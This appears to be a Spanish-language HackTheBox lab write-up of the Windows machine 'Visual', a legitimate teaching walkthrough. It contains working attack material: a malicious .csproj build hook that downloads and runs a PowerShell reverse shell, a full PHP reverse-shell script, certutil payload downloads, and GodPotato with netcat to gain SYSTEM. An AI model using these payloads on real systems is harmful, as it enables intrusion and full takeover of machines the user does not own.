Visual – HackTheBox Link to heading

  • OS: Windows
  • Dificultad: Medium / Media
  • Plataforma: HackTheBox

‘Visual’ Avatar


Usuario Link to heading

Nmap solo muestra 1 puerto abierto: 80 HTTP.

❯ sudo nmap -sVC -p80 10.10.11.234 -oN targeted

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-02-21 19:36 -03
Nmap scan report for 10.10.11.234
Host is up (0.16s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.56 ((Win64) OpenSSL/1.1.1t PHP/8.1.17)
|_http-server-header: Apache/2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.1.17
|_http-title: Visual - Revolutionizing Visual Studio Builds

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.82 seconds

Visitando la página web podemos ver lo siguiente:

Visual 1

El sitio, aparentemente, crea un ejecutable para Visual Studio. Lo único que podemos agregar como usuarios en esta página es un repositortio Git:

Visual 2

Para ver cómo funciona/qué hace el sitio, empezamos un listener con netcat en el puerto 3000 (puerto por defecto para Gitea, sólo por si un firewall estuviese previniendo otros puertos)

❯ nc -lvnp 3000

y en el sitio web paso mi IP de atacante, agregando un string random .git para testear cómo funciona: Visual 3

donde 10.10.16.6 es mi IP de atacante.

Luego de algunos segundos de pasar la url a la página web, en el lístener de netcat obtengo la siguiente respuesta:

❯ nc -lvnp 3000

listening on [any] 3000 ...
connect to [10.10.16.6] from (UNKNOWN) [10.10.11.234] 49671
GET /info/refs?service=git-upload-pack HTTP/1.1
Host: 10.10.16.6:3000
User-Agent: git/2.41.0.windows.1
Accept: */*
Accept-Encoding: deflate, gzip, br, zstd
Pragma: no-cache
Git-Protocol: version=2

Dado que en ninguna parte veo testing.git en el request quizás no sea capaz de inyectar código, de manera que descarto eso de momento. Además, basados en la documentación de Git esta respuesta simplemente es cómo funciona clonar un repositorio.

Para emular un repositorio custom usaré Gitea junto con Docker. Asumiendo que tenemos Docker instalado in nuestra máquina (en mi caso uso Kali Linux, de manera que seguí estos pasos). Inicializamos el servicio de Docker:

❯ sudo systemctl start docker

Chequeamos si el servicio está corriendo correctamente:

❯ sudo systemctl status docker

● docker.service - Docker Application Container Engine
     Loaded: loaded (/usr/lib/systemd/system/docker.service; enabled; preset: enabled)
     Active: active (running) since Wed 2024-02-21 20:02:04 -03; 1min 6s ago
TriggeredBy: ● docker.socket
<SNIP>

Descargamos la imagen de Gitea para Docker:

❯ sudo docker pull gitea/gitea

Using default tag: latest
latest: Pulling from gitea/gitea
619be1103602: Pull complete
172dd90f8cd3: Pull complete
e351dffe3e2e: Pull complete
23115583656f: Pull complete
29191722a758: Pull complete
365242e44775: Pull complete
2b8d3024c169: Pull complete
Digest: sha256:a2095ce71c414c0c6a79192f3933e668a595f7fa7706324edd0aa25c8728f00f
Status: Downloaded newer image for gitea/gitea:latest
docker.io/gitea/gitea:latest

Chequeamos si el container ha sido descargado y detectado por Docker:

❯ sudo docker images

REPOSITORY    TAG       IMAGE ID       CREATED       SIZE
gitea/gitea   latest    bf95d9a45ce4   2 weeks ago   160MB

Y, finalmente, inicializamos Gitea:

❯ docker run -d -p 127.0.0.1:3000:3000 -p 10.10.16.6:3000:3000 --name gitea-container gitea/gitea:latest

da manera que ofrezco el servicio en 2 redes/networks: localhost y en mi IPv4 pública de tun0 (la que se asigna para el laboratorio de HackTheBox), de manera que podemos tener conectividad entre la máquina víctima y nuestro servicio de Gitea.

Si esto funcionó, ahora deberíamos tener Gitea corriendo en nuestro puerto 3000:

❯ lsof -i:3000

COMMAND     PID    USER   FD   TYPE DEVICE SIZE/OFF NODE NAME
firefox-e 25194 gunzf0x   82u  IPv4  98328      0t0  TCP localhost:44248->localhost:3000 (ESTABLISHED)

Podemos usar nuestro browser de internet para visitar http://localhost:3000 o http://10.10.16.6:3000 (mi dirección IPv4 de atacante) y ver si Gitea está corriendo correctamente. Al visitar la web recomiendo dejar todo por defecto. Nota: Si usas una base de dato SQL diferente a aquella que viene por defecto (SQLite) el servicio puede presentar problemas.

Ahora nos podemos registrar con un usuario y loguear con él en el servicio de Gitea

Si todo funcionó, deberíamos tener acceso a un panel como este: Visual 4 En mi caso en vez de crear un repositorio desde cero, recrearé un repositorio que ya existe. En mi equipo clono este repositorio (el cual es simplemente un repositorio de C# random que elegí en internet que elegí desde Github):

❯ git clone https://github.com/rushakh/copy-pasting-machine.git

Cloning into 'copy-pasting-machine'...
remote: Enumerating objects: 22, done.
remote: Counting objects: 100% (22/22), done.
remote: Compressing objects: 100% (21/21), done.
remote: Total 22 (delta 2), reused 18 (delta 1), pack-reused 0
Receiving objects: 100% (22/22), 17.39 KiB | 301.00 KiB/s, done.
Resolving deltas: 100% (2/2), done.

En Gitea creamos un nuevo repositorio haciendo click en el símbolo + en la parte superior izquierda de la página de Gitea; y luego click en New Repository (Nuevo Repositorio):

Visual 5

y deberíamos tener algo como esto:

Visual 6

Nota
Aquí decidí llamar al repositorio testing. Pero luego le cambié el nombre a copy-pasting-machine (exactamente el mismo nombre del repositorio que cloné) para evitar conflictos entre archivos de Git, dado que que necesitamos “crear” los ejecutables, como veremos luego.

Creo un directorio/carpeta llamada gitea-repo, entro en ese directorio y sigo las instrucciones de Creating a new repository (ver la última imagen de arriba) para agregar archivos

Luego copio todos los archivos dentro del repositorio clonado (el repositorio original copy-pasting-machines), excepto la carpeta/directorio .git, y paso los archivos al directorio gitea-repo (el directorio que tiene los archivos que se suben a Gitea)

❯ cd gitea_repo/

ls -la
total 20
drwxr-xr-x 4 gunzf0x gunzf0x 4096 Feb 21 22:03  .
drwxr-xr-x 4 gunzf0x gunzf0x 4096 Feb 21 22:02  ..
-rw-r--r-- 1 gunzf0x gunzf0x 1124 Feb 21 22:03  CopyPasteMachine.sln
drwxr-xr-x 8 gunzf0x gunzf0x 4096 Feb 21 22:04  .git
-rw-r--r-- 1 gunzf0x gunzf0x    0 Feb 21 22:01  README.md
drwxr-xr-x 3 gunzf0x gunzf0x 4096 Feb 21 22:03 'trying media'

❯ git add .

❯ cat .git/config
[core]
        repositoryformatversion = 0
        filemode = true
        bare = false
        logallrefupdates = true
[remote "origin"]
        url = http://localhost:3000/gunzf0x/copy-pasting-machine.git
        fetch = +refs/heads/*:refs/remotes/origin/*
[branch "main"]
        remote = origin
        merge = refs/heads/main

Luego hago un commit y push a todos los archivos:

❯ git commit -m "Cloning repo"

❯ git push origin main

Ahora nuestro repositorio en Gitea debería verse como esto:

Visual 7

Devuelta al sitio HTTP, en Submit Your Repo, ahora paso el link/url: http://10.10.16.6:3000/gunzf0x/copy-pasting-machine.git

Luego de unos segundos, el sitio crea/construye los binarios:

Visual 8 - building executable

Noto que si no hay un archivo .sln en el repositorio el crear el archivo falla.

Además, si chequeamos cómo los archivos MSBuild Projects son creados vemos que es posible inyectar comandos. Un simple archivo malicioso .csproj se vería como:

<Project Sdk="Microsoft.NET.Sdk">

  <PropertyGroup>
    <OutputType>Exe</OutputType>
    <TargetFramework>net7.0</TargetFramework>
    <RootNamespace>project_name</RootNamespace>
    <ImplicitUsings>enable</ImplicitUsings>
    <Nullable>enable</Nullable>
  </PropertyGroup>

  <Target Name="PreBuild" BeforeTargets="PreBuildEvent">
    <Exec Command="powershell IEX (New-Object Net.WebClient).DownloadString('http://10.10.16.16:80/rev.ps1')" />
  </Target>

</Project>

donde 10.10.16.6 es mi IP de atacante y rev.ps1 es un script de Powershell (que definiré a continuación).

En mi caso usaré Invoke-PowerShellTcp.ps1 de Nishang, el cual puede ser descargado desde aquí

Edito el archivo Invoke-PowerShellTcp.ps1, el cual renombro como rev.ps1, y en un editor de texto agrego al final de éste la línea:

<SNIP>
        Write-Warning "Something went wrong! Check if the server is reachable and you are using the correct port."
        Write-Error $_
    }
}

Invoke-PowerShellTcp -Reverse -IPAddress 10.10.16.6 -Port 443

de manera que el servidor ejecutará la reverse shell inmediatamente luego de que el archivo malicioso .csproj es ejecutado.

Creo un archivo respaldo/backup .csproj del original, sólo en caso de que éste llegase a fallar. Este archivo está localizado, en este repositorio, dentro del directorio trying media:

❯ cd trying\ media

❯ cp CopyPasteMachine.csproj CopyPasteMachine_backup.csproj

y modifico el archivo CopyPasteMachine.csproj con el script .csproj malicioso que enseñé arriba. Subo estos cambios al repositorio Gitea.

Empiezo un servidor Python HTTP en el puerto 80, en el mismo directorio donde rev.ps1 se encuentra, y en otro panel/terminal empiezo un listener de netcat en el puerto 443. En la página web subo el link http://10.10.16.6:3000/gunzf0x/copy-pasting-machine.git a Submit Your Repo, pero esta vez con el archivo malicioso csproj de manera que obtengo una reverse shell:

Visual 9 - reverse shell

Podemos obtener la flag en el directorio del usuario.

NT Authority\System - Administrator Link to heading

Estamos logueados como visual\enox. Mirando los privilegios de este usuario:

PS C:\Windows\Temp\8f8177df5fbf8e4d3d0385b74ece7f\trying media> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== ========
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeCreateGlobalPrivilege       Create global objects          Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
PS C:\Windows\Temp\8f8177df5fbf8e4d3d0385b74ece7f\trying media>

no veo nada interesante

Subo el script Sherlock.ps1 (el cual puede ser descargado desde su repositorio de Github), pero no se detectó ningún exploit/vulnerabilidad.

Ahora, usualmente los usuarios encargados del webserver pueden tener el privilegio SeImpersonatePrivilege (o, al menos, podemos nosotros tratar de activarlo). Como sea, de momento somos el usuario visual\enox. Por esta razón subo el siguiente archivo PHP para obtener una reverse shell e intent obtener otra conexión, pero este vez desde el usuario corriendo el servidor. De manera que subimos un archivo PHP para pivotear/cambiar de usuario el cual llamaré revshell.php:

<?php
// Copyright (c) 2020 Ivan Šincek
// v2.6
// Requires PHP v5.0.0 or greater.
// Works on Linux OS, macOS, and Windows OS.
// See the original script at https://github.com/pentestmonkey/php-reverse-shell.
class Shell {
    private $addr  = null;
    private $port  = null;
    private $os    = null;
    private $shell = null;
    private $descriptorspec = array(
        0 => array('pipe', 'r'), // shell can read from STDIN
        1 => array('pipe', 'w'), // shell can write to STDOUT
        2 => array('pipe', 'w')  // shell can write to STDERR
    );
    private $buffer = 1024;  // read/write buffer size
    private $clen   = 0;     // command length
    private $error  = false; // stream read/write error
    private $sdump  = true;  // script's dump
    public function __construct($addr, $port) {
        $this->addr = $addr;
        $this->port = $port;
    }
    private function detect() {
        $detected = true;
        $os = PHP_OS;
        if (stripos($os, 'LINUX') !== false || stripos($os, 'DARWIN') !== false) {
            $this->os    = 'LINUX';
            $this->shell = '/bin/sh';
        } else if (stripos($os, 'WINDOWS') !== false || stripos($os, 'WINNT') !== false || stripos($os, 'WIN32') !== false) {
            $this->os    = 'WINDOWS';
            $this->shell = 'cmd.exe';
        } else {
            $detected = false;
            echo "SYS_ERROR: Underlying operating system is not supported, script will now exit...\n";
        }
        return $detected;
    }
    private function daemonize() {
        $exit = false;
        if (!function_exists('pcntl_fork')) {
            echo "DAEMONIZE: pcntl_fork() does not exists, moving on...\n";
        } else if (($pid = @pcntl_fork()) < 0) {
            echo "DAEMONIZE: Cannot fork off the parent process, moving on...\n";
        } else if ($pid > 0) {
            $exit = true;
            echo "DAEMONIZE: Child process forked off successfully, parent process will now exit...\n";
            // once daemonized, you will actually no longer see the script's dump
        } else if (posix_setsid() < 0) {
            echo "DAEMONIZE: Forked off the parent process but cannot set a new SID, moving on as an orphan...\n";
        } else {
            echo "DAEMONIZE: Completed successfully!\n";
        }
        return $exit;
    }
    private function settings() {
        @error_reporting(0);
        @set_time_limit(0); // do not impose the script execution time limit
        @umask(0); // set the file/directory permissions - 666 for files and 777 for directories
    }
    private function dump($data) {
        if ($this->sdump) {
            $data = str_replace('<', '<', $data);
            $data = str_replace('>', '>', $data);
            echo $data;
        }
    }
    private function read($stream, $name, $buffer) {
        if (($data = @fread($stream, $buffer)) === false) { // suppress an error when reading from a closed blocking stream
            $this->error = true;                            // set the global error flag
            echo "STRM_ERROR: Cannot read from {$name}, script will now exit...\n";
        }
        return $data;
    }
    private function write($stream, $name, $data) {
        if (($bytes = @fwrite($stream, $data)) === false) { // suppress an error when writing to a closed blocking stream
            $this->error = true;                            // set the global error flag
            echo "STRM_ERROR: Cannot write to {$name}, script will now exit...\n";
        }
        return $bytes;
    }
    // read/write method for non-blocking streams
    private function rw($input, $output, $iname, $oname) {
        while (($data = $this->read($input, $iname, $this->buffer)) && $this->write($output, $oname, $data)) {
            if ($this->os === 'WINDOWS' && $oname === 'STDIN') { $this->clen += strlen($data); } // calculate the command length
            $this->dump($data); // script's dump
        }
    }
    // read/write method for blocking streams (e.g. for STDOUT and STDERR on Windows OS)
    // we must read the exact byte length from a stream and not a single byte more
    private function brw($input, $output, $iname, $oname) {
        $size = fstat($input)['size'];
        if ($this->os === 'WINDOWS' && $iname === 'STDOUT' && $this->clen) {
            // for some reason Windows OS pipes STDIN into STDOUT
            // we do not like that
            // so we need to discard the data from the stream
            while ($this->clen > 0 && ($bytes = $this->clen >= $this->buffer ? $this->buffer : $this->clen) && $this->read($input, $iname, $bytes)) {
                $this->clen -= $bytes;
                $size -= $bytes;
            }
        }
        while ($size > 0 && ($bytes = $size >= $this->buffer ? $this->buffer : $size) && ($data = $this->read($input, $iname, $bytes)) && $this->write($output, $oname, $data)) {
            $size -= $bytes;
            $this->dump($data); // script's dump
        }
    }
    public function run() {
        if ($this->detect() && !$this->daemonize()) {
            $this->settings();

            // ----- SOCKET BEGIN -----
            $socket = @fsockopen($this->addr, $this->port, $errno, $errstr, 30);
            if (!$socket) {
                echo "SOC_ERROR: {$errno}: {$errstr}\n";
            } else {
                stream_set_blocking($socket, false); // set the socket stream to non-blocking mode | returns 'true' on Windows OS

                // ----- SHELL BEGIN -----
                $process = @proc_open($this->shell, $this->descriptorspec, $pipes, null, null);
                if (!$process) {
                    echo "PROC_ERROR: Cannot start the shell\n";
                } else {
                    foreach ($pipes as $pipe) {
                        stream_set_blocking($pipe, false); // set the shell streams to non-blocking mode | returns 'false' on Windows OS
                    }

                    // ----- WORK BEGIN -----
                    $status = proc_get_status($process);
                    @fwrite($socket, "SOCKET: Shell has connected! PID: {$status['pid']}\n");
                    do {
                        $status = proc_get_status($process);
                        if (feof($socket)) { // check for end-of-file on SOCKET
                            echo "SOC_ERROR: Shell connection has been terminated\n"; break;
                        } else if (feof($pipes[1]) || !$status['running']) {                 // check for end-of-file on STDOUT or if process is still running
                            echo "PROC_ERROR: Shell process has been terminated\n";   break; // feof() does not work with blocking streams
                        }                                                                    // use proc_get_status() instead
                        $streams = array(
                            'read'   => array($socket, $pipes[1], $pipes[2]), // SOCKET | STDOUT | STDERR
                            'write'  => null,
                            'except' => null
                        );
                        $num_changed_streams = @stream_select($streams['read'], $streams['write'], $streams['except'], 0); // wait for stream changes | will not wait on Windows OS
                        if ($num_changed_streams === false) {
                            echo "STRM_ERROR: stream_select() failed\n"; break;
                        } else if ($num_changed_streams > 0) {
                            if ($this->os === 'LINUX') {
                                if (in_array($socket  , $streams['read'])) { $this->rw($socket  , $pipes[0], 'SOCKET', 'STDIN' ); } // read from SOCKET and write to STDIN
                                if (in_array($pipes[2], $streams['read'])) { $this->rw($pipes[2], $socket  , 'STDERR', 'SOCKET'); } // read from STDERR and write to SOCKET
                                if (in_array($pipes[1], $streams['read'])) { $this->rw($pipes[1], $socket  , 'STDOUT', 'SOCKET'); } // read from STDOUT and write to SOCKET
                            } else if ($this->os === 'WINDOWS') {
                                // order is important
                                if (in_array($socket, $streams['read'])/*------*/) { $this->rw ($socket  , $pipes[0], 'SOCKET', 'STDIN' ); } // read from SOCKET and write to STDIN
                                if (($fstat = fstat($pipes[2])) && $fstat['size']) { $this->brw($pipes[2], $socket  , 'STDERR', 'SOCKET'); } // read from STDERR and write to SOCKET
                                if (($fstat = fstat($pipes[1])) && $fstat['size']) { $this->brw($pipes[1], $socket  , 'STDOUT', 'SOCKET'); } // read from STDOUT and write to SOCKET
                            }
                        }
                    } while (!$this->error);
                    // ------ WORK END ------

                    foreach ($pipes as $pipe) {
                        fclose($pipe);
                    }
                    proc_close($process);
                }
                // ------ SHELL END ------

                fclose($socket);
            }
            // ------ SOCKET END ------

        }
    }
}
echo '<pre>';
// change the host address and/or port number as necessary
$sh = new Shell('10.10.16.6', 4000);
$sh->run();
unset($sh);
// garbage collector requires PHP v5.3.0 or greater
// @gc_collect_cycles();
echo '</pre>';
?>

donde, de nuevo, 10.10.16.6 es mi IP de atacante y 4000 es el puerto con el que escucharé con nc.

Empiezo un servidor Python HTTP en el puerto 80 en el mismo directorio donde revshell.php está localizado

Empiezo un listener de nc en el puerto 4000. Luego, en la reverse shell obtenida con Nishang corro lo siguiente:

PS C:\Windows\Temp\8f8177df5fbf8e4d3d0385b74ece7f\trying media> Invoke-WebRequest -Uri http://10.10.16.6/revshell.php -OutFile C:\xampp\htdocs\uploads\revshell.php

y escribo los archivos donde usualmente el servidor HTTP está localizado en Windows, en C:\xampp\htdocs.

Finalmente, puedo activar la reverse shell con:

❯ curl http://10.10.11.234/uploads/revshell.php

y obtengo la reverse shell:

❯ rlwrap nc -lvnp 4000

listening on [any] 4000 ...
connect to [10.10.16.6] from (UNKNOWN) [10.10.11.234] 49691
SOCKET: Shell has connected! PID: 4352
Microsoft Windows [Version 10.0.17763.4851]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\xampp\htdocs\uploads>whoami
nt authority\local service

C:\xampp\htdocs\uploads>

pero ahora, tal cual se puede ver, somos el usuario nt authority\local service.

Desde la nueva reverse shell, descargo FullPowers desde su repositorio oficial usando certutil (luego de empezar, de nuevo, un servidor Python HTTP en el puerto 80):

C:\Windows\Temp>cd C:\Users\Public\Downloads

C:\Users\Public\Downloads>certutil.exe -urlcache -split -f http://10.10.16.6/FullPowers.exe .\FullPowers.exe
****  Online  ****
  0000  ...
  9000
CertUtil: -URLCache command completed successfully.

y pasamos de esto:

C:\Users\Public\Downloads>whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== ========
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeCreateGlobalPrivilege       Create global objects          Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled

a esto:

C:\Users\Public\Downloads>.\FullPowers.exe
[+] Started dummy thread with id 1888
[+] Successfully created scheduled task.
[+] Got new token! Privilege count: 7
[+] CreateProcessAsUser() OK
Microsoft Windows [Version 10.0.17763.4851]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                               State
============================= ========================================= =======
SeAssignPrimaryTokenPrivilege Replace a process level token             Enabled
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Enabled
SeAuditPrivilege              Generate security audits                  Enabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled
SeImpersonatePrivilege        Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege       Create global objects                     Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set            Enabled

de manera que el privilegio SeImpersonatePrivilege ahora está activado, el cual puede ser usado para escalar privilegios.

Notamos que luego de ejecutar FullPowers ahora nos encontramos en el directorio C:\Windows\system32, de manera que me muevo a un directorio donde sí pueda escribir archivos como, por ejemplo, C:\Users\Public\Desktop\Downloads.

Finalmente, paso un binario de netcat para Windows, y JuicyPotato usando certutil para abusar SeImpersonatePrivilege. Pero no funcionó (de manera que no es necesario que pierdan su tiempo como yo).

Luego, intentaré usar GodPotato en vez de JuicyPotato. Descargamos esto desde su repositorio de Github; pero tenemos diferentes binarios para descargar para distintas versiones de .NET. Para saber cuál versión descargar corro el siguiente comando en la máquina víctima:

C:\Users\Public\Downloads>reg query "HKLM\SOFTWARE\Microsoft\NET Framework Setup\NDP"

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP\CDF
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP\v4
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP\v4.0

de manera que descargamos la versión NET4.

Una vez descargado el ejecutable, lo paso a la máquina víctima y chequeo si funciona:

C:\Users\Public\Downloads>certutil.exe -urlcache -split -f http://10.10.16.6/godpotato-net4.exe .\godpotato.exe
****  Online  ****
  0000  ...
  e000
CertUtil: -URLCache command completed successfully.

C:\Users\Public\Downloads>.\godpotato -cmd "cmd /c whoami"
[*] CombaseModule: 0x140715858722816
[*] DispatchTable: 0x140715861028976
[*] UseProtseqFunction: 0x140715860405152
[*] UseProtseqFunctionParamCount: 6
[*] HookRPC
[*] Start PipeServer
[*] CreateNamedPipe \\.\pipe\79e3465c-95bf-41d8-9539-53f788c911a2\pipe\epmapper
[*] Trigger RPCSS
[*] DCOM obj GUID: 00000000-0000-0000-c000-000000000046
[*] DCOM obj IPID: 00009802-10ac-ffff-d1e0-c475845222f4
[*] DCOM obj OXID: 0xf22c1c8cc040bd7
[*] DCOM obj OID: 0xa93e722cc15a4aa
[*] DCOM obj Flags: 0x281
[*] DCOM obj PublicRefs: 0x0
[*] Marshal Object bytes len: 100
[*] UnMarshal Object
[*] Pipe Connected!
[*] CurrentUser: NT AUTHORITY\NETWORK SERVICE
[*] CurrentsImpersonationLevel: Impersonation
[*] Start Search System Token
[*] PID : 884 Token:0x644  User: NT AUTHORITY\SYSTEM ImpersonationLevel: Impersonation
[*] Find System Token : True
[*] UnmarshalObject: 0x80070776
[*] CurrentUser: NT AUTHORITY\SYSTEM
[*] process start with pid 1692
nt authority\system

y funciona. De manera que ahora me envío una reverse shell a mi máquina atacante usando el binario de netcat para Windows que ya había subido cuando intenté correr JuicyPotato (pero fallé).

Empiezo un listener con netcat en el puerto 443 y en la máquina víctima procedo a correr:

C:\Users\Public\Downloads>.\godpotato -cmd "cmd /c C:\Users\Public\Downloads\nc.exe 10.10.16.6 443 -e cmd"

y obtengo una reverse shell:

❯ nc -lvnp 443

listening on [any] 443 ...
connect to [10.10.16.6] from (UNKNOWN) [10.10.11.234] 49726
Microsoft Windows [Version 10.0.17763.4851]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Users\Public\Downloads>whoami
whoami
nt authority\system

C:\Users\Public\Downloads>

Finalmente, podemos leer la flag en el escritorio del usuario Administrator.

~Happy Hacking